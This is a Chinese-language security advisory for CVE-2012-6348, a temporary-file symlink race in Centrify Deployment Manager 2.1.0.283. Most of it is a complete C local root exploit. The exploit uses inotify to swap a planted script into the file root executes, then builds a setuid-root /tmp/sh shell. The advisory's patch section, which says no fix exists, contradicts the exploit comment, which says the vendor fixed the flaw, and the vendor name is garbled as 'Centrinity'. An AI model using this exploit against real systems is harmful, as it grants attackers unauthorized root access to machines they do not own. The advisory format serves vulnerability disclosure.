发布日期：2013-01-03
更新日期：2013-01-06

受影响系统：

Centrinity Deployment Manager 2.1.0.283

描述：

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CVE(CAN) ID: CVE-2012-6348

Centrify DirectManage Components是UNIX/Linux系统上的系统部署工具。

Centrify Suite 2012.5之前版本内的Centrify Deployment Manager 2.1.0.283在实现上存在安全漏洞，可允许本地用户通过对adcheckDMoutput临时文件的符号链接攻击覆盖任意文件，并通过对centrify.cmd.0临时文件上的符号链接攻击覆盖任意文件，然后提升权限。

<*来源：inotify & syscall technique
        Larry W. Cashdollar （lwc@vapid.dhs.org）
  
  链接：http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-6348
        http://seclists.org/fulldisclosure/2012/Dec/59
        http://vapid.dhs.org/exploits/centrify_local_r00t.c
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/*Local root exploit for Centrify Deployment Manager v2.1.0.283 local root,
Centrify released a fix very quickly  - nice vendor response.

CVE-2012-6348  12/17/2012
http://vapid.dhs.org/advisories/centrify_deployment_manager_insecure_tmp2.html
Greetings vladz,  Thanks for the inotify & syscall technique.

This exploit based on http://vladz.devzero.fr/010_bzexe-vuln.php

Run the exploit and wait for administrator to analyse or deploysoftware
to the system.

larry@h0g:~/code/exploit$ ./cent_root centrify.cmd.0
[*] Launching attack against "centrify.cmd.0"
[+] Creating evil script (/tmp/evil)
[+] Creating target file (/bin/touch /tmp/centrify.cmd.0)
[+] Initialize inotify
[+] Waiting for root to launch "centrify.cmd.0"
[+] Opening root shell (/tmp/sh)
#

Larry W. Cashdollar
@_larry0
*/


#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <sys/inotify.h>
#include <fcntl.h>
#include <sys/syscall.h>

/*Create a small c program to pop us a root shell*/
int create_nasty_shell(char *file) {
  char *s = "#!/bin/bash\n"
            "echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n"
            "cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n"
            "chmod 4755 /tmp/sh;\n";

  int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO);
  write(fd, s, strlen(s));
  close(fd);

  return 0;
}


int main(int argc, char **argv) {
  int fd, wd;
  char buf[1], *targetpath, *cmd,
       *evilsh = "/tmp/evil", *trash = "/tmp/trash";

  if (argc < 2) {
    printf("Usage: %s <target file> \n", argv[0]);
    return 1;
  }

  printf("[*] Launching attack against \"%s\"\n", argv[1]);

  printf("[+] Creating evil script (/tmp/evil)\n");
  create_nasty_shell(evilsh);

  targetpath = malloc(sizeof(argv[1]) + 6);
  cmd = malloc(sizeof(char) * 32);
  sprintf(targetpath, "/tmp/%s", argv[1]);
  sprintf(cmd,"/bin/touch %s",targetpath);
  printf("[+] Creating target file (%s)\n",cmd);
  system(cmd);

  printf("[+] Initialize inotify\n");
  fd = inotify_init();
  wd = inotify_add_watch(fd, targetpath, IN_ATTRIB);

  printf("[+] Waiting for root to change perms on \"%s\"\n", argv[1]);
  syscall(SYS_read, fd, buf, 1);
  syscall(SYS_rename, targetpath,  trash);
  syscall(SYS_rename, evilsh, targetpath);

  inotify_rm_watch(fd, wd);

  printf("[+] Opening root shell (/tmp/sh)\n");
  sleep(2);
  system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\"");

  return 0;
}

建议：

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厂商补丁：

Centrinity
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.centrify.com/directmanage/components.asp

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